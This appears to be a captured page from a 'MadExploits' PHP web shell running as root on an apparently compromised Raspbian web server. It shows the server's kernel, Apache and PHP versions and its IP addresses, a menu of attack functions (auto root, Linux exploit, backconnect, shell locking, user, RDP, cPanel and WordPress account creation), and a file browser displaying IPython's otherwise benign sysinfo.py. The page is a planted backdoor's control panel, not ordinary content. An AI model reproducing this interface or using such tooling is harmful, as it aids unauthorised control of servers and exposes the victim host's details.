Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
IPython /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
PyColorize.py
12.09
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
_get_terminal_size.py
4.31
KB
-rw-r--r--
_process_cli.py
2.36
KB
-rw-r--r--
_process_common.py
7.36
KB
-rw-r--r--
_process_posix.py
8.7
KB
-rw-r--r--
_process_win32.py
6.33
KB
-rw-r--r--
_process_win32_controller.py
20.91
KB
-rw-r--r--
_signatures.py
28.96
KB
-rw-r--r--
_sysinfo.py
46
B
-rw-r--r--
_tokenize_py2.py
16.75
KB
-rw-r--r--
_tokenize_py3.py
22.05
KB
-rw-r--r--
capture.py
5.1
KB
-rw-r--r--
colorable.py
825
B
-rw-r--r--
coloransi.py
6.79
KB
-rw-r--r--
contexts.py
1.93
KB
-rw-r--r--
daemonize.py
148
B
-rw-r--r--
data.py
1.17
KB
-rw-r--r--
decorators.py
2.02
KB
-rw-r--r--
dir2.py
2.07
KB
-rw-r--r--
encoding.py
2.8
KB
-rw-r--r--
eventful.py
164
B
-rw-r--r--
frame.py
3.09
KB
-rw-r--r--
generics.py
740
B
-rw-r--r--
importstring.py
1.01
KB
-rw-r--r--
io.py
7.65
KB
-rw-r--r--
ipstruct.py
11.59
KB
-rw-r--r--
jsonutil.py
134
B
-rw-r--r--
localinterfaces.py
155
B
-rw-r--r--
log.py
149
B
-rw-r--r--
module_paths.py
3.57
KB
-rw-r--r--
openpy.py
8.26
KB
-rw-r--r--
path.py
14.05
KB
-rw-r--r--
pickleutil.py
130
B
-rw-r--r--
process.py
2.87
KB
-rw-r--r--
py3compat.py
10.57
KB
-rw-r--r--
rlineimpl.py
2.65
KB
-rw-r--r--
sentinel.py
421
B
-rw-r--r--
shimmodule.py
2.74
KB
-rw-r--r--
signatures.py
332
B
-rw-r--r--
strdispatch.py
1.79
KB
-rw-r--r--
sysinfo.py
5.08
KB
-rw-r--r--
syspathcontext.py
2.11
KB
-rw-r--r--
tempdir.py
4.67
KB
-rw-r--r--
terminal.py
3.35
KB
-rw-r--r--
text.py
22.95
KB
-rw-r--r--
timing.py
3.99
KB
-rw-r--r--
tokenize2.py
160
B
-rw-r--r--
tokenutil.py
3.77
KB
-rw-r--r--
traitlets.py
168
B
-rw-r--r--
tz.py
1.32
KB
-rw-r--r--
ulinecache.py
1.58
KB
-rw-r--r--
version.py
1.2
KB
-rw-r--r--
warn.py
1.69
KB
-rw-r--r--
wildcard.py
4.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sysinfo.py
# encoding: utf-8 """ Utilities for getting information about IPython and the system it's running in. """ #----------------------------------------------------------------------------- # Copyright (C) 2008-2011 The IPython Development Team # # Distributed under the terms of the BSD License. The full license is in # the file COPYING, distributed as part of this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- import os import platform import pprint import sys import subprocess from IPython.core import release from IPython.utils import py3compat, _sysinfo, encoding #----------------------------------------------------------------------------- # Code #----------------------------------------------------------------------------- def pkg_commit_hash(pkg_path): """Get short form of commit hash given directory `pkg_path` We get the commit hash from (in order of preference): * IPython.utils._sysinfo.commit * git output, if we are in a git repository If these fail, we return a not-found placeholder tuple Parameters ---------- pkg_path : str directory containing package only used for getting commit from active repo Returns ------- hash_from : str Where we got the hash from - description hash_str : str short form of hash """ # Try and get commit from written commit text file if _sysinfo.commit: return "installation", _sysinfo.commit # maybe we are in a repository proc = subprocess.Popen('git rev-parse --short HEAD', stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=pkg_path, shell=True) repo_commit, _ = proc.communicate() if repo_commit: return 'repository', repo_commit.strip().decode('ascii') return '(none found)', u'<not found>' def pkg_info(pkg_path): """Return dict describing the context of this package Parameters ---------- pkg_path : str path containing __init__.py for package Returns ------- context : dict with named parameters of interest """ src, hsh = pkg_commit_hash(pkg_path) return dict( ipython_version=release.version, ipython_path=pkg_path, commit_source=src, commit_hash=hsh, sys_version=sys.version, sys_executable=sys.executable, sys_platform=sys.platform, platform=platform.platform(), os_name=os.name, default_encoding=encoding.DEFAULT_ENCODING, ) def get_sys_info(): """Return useful information about IPython and the system, as a dict.""" p = os.path path = p.realpath(p.dirname(p.abspath(p.join(__file__, '..')))) return pkg_info(path) @py3compat.doctest_refactor_print def sys_info(): """Return useful information about IPython and the system, as a string. Examples -------- :: In [2]: print sys_info() {'commit_hash': '144fdae', # random 'commit_source': 'repository', 'ipython_path': '/home/fperez/usr/lib/python2.6/site-packages/IPython', 'ipython_version': '0.11.dev', 'os_name': 'posix', 'platform': 'Linux-2.6.35-22-generic-i686-with-Ubuntu-10.10-maverick', 'sys_executable': '/usr/bin/python', 'sys_platform': 'linux2', 'sys_version': '2.6.6 (r266:84292, Sep 15 2010, 15:52:39) \\n[GCC 4.4.5]'} """ return pprint.pformat(get_sys_info()) def _num_cpus_unix(): """Return the number of active CPUs on a Unix system.""" return os.sysconf("SC_NPROCESSORS_ONLN") def _num_cpus_darwin(): """Return the number of active CPUs on a Darwin system.""" p = subprocess.Popen(['sysctl','-n','hw.ncpu'],stdout=subprocess.PIPE) return p.stdout.read() def _num_cpus_windows(): """Return the number of active CPUs on a Windows system.""" return os.environ.get("NUMBER_OF_PROCESSORS") def num_cpus(): """Return the effective number of CPUs in the system as an integer. This cross-platform function makes an attempt at finding the total number of available CPUs in the system, as returned by various underlying system and python calls. If it can't find a sensible answer, it returns 1 (though an error *may* make it return a large positive number that's actually incorrect). """ # Many thanks to the Parallel Python project (http://www.parallelpython.com) # for the names of the keys we needed to look up for this function. This # code was inspired by their equivalent function. ncpufuncs = {'Linux':_num_cpus_unix, 'Darwin':_num_cpus_darwin, 'Windows':_num_cpus_windows } ncpufunc = ncpufuncs.get(platform.system(), # default to unix version (Solaris, AIX, etc) _num_cpus_unix) try: ncpus = max(1,int(ncpufunc())) except: ncpus = 1 return ncpus
Close